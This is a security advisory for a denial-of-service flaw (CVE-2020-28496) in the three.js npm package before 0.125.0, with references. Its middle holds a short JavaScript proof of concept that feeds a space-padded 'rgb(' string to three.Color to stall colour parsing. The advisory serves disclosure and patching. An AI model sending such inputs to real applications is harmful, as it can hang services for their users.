GHSA-fq6p-x6j3-cmmqHighCVSS 7.5
Denial of service in three
🔗 CVE IDs covered (1)
📋 Description
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.
PoC:
var three = require('three')
function build_blank(n) {
var ret = "rgb("
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")
🎯 Affected products1
- npm/three:< 0.125.0
🔗 References (6)
- https://nvd.nist.gov/vuln/detail/CVE-2020-28496
- https://github.com/mrdoob/three.js/issues/21132
- https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972
- https://snyk.io/vuln/SNYK-JS-THREE-1064931
- https://github.com/advisories/GHSA-fq6p-x6j3-cmmq